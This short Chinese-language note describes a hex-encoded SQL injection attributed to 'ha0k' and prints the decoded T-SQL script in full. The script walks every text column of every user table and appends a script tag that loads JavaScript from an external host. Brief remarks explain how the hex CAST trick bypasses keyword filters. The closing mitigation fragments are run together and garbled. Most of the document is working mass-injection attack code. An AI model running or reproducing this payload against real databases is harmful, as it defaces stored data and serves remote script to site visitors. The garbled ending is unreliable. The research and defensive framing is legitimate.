作者 ha0k 發布一段經十六進位編碼的 SQL 注入攻擊代碼,解碼後為一段 T-SQL 腳本,利用游標遍歷所有使用者資料表的文字型欄位,在每個欄位值尾部植入惡意 JavaScript 代碼 (<script src="https://hi.baidu.com/ha0k.js"></script>),導致前端頁面載入時執行外部腳本。
DECLARE @T VARCHAR(255), @C VARCHAR(255);
DECLARE Table_Cursor CURSOR FOR
SELECT a.name, b.name
FROM sysobjects a, syscolumns b
WHERE a.id = b.id
AND a.xtype = 'U' -- 使用者資料表
AND (b.xtype = 99 OR b.xtype = 35 OR b.xtype = 231 OR b.xtype = 167); -- ntext, text, sysname, varchar
OPEN Table_Cursor;
FETCH NEXT FROM Table_Cursor INTO @T, @C;
WHILE (@@FETCH_STATUS = 0)
BEGIN
EXEC('UPDATE [' + @T + '] SET [' + @C + '] = RTRIM(CONVERT(VARCHAR, [' + @C + '])) + ''<script src="https://hi.baidu.com/ha0k.js"></script>''');
FETCH NEXT FROM Table_Cursor INTO @T, @C;
END
CLOSE Table_Cursor;
DEALLOCATE Table_Cursor;
0x440045... 透過 CAST(... AS NVARCHAR(4000)) 還原執行,繞過關鍵字過濾。sysobjects、syscolumns 定位所有使用者表的文字欄位。SELECT/INSERT/UPDATE/DELETE,無 EXEC、CREATE、ALTER 權限UPDATE 大量文字欄位的行為此代碼屬惡意攻擊樣本,僅供安全研究與防禦參考,嚴禁用於非法用途。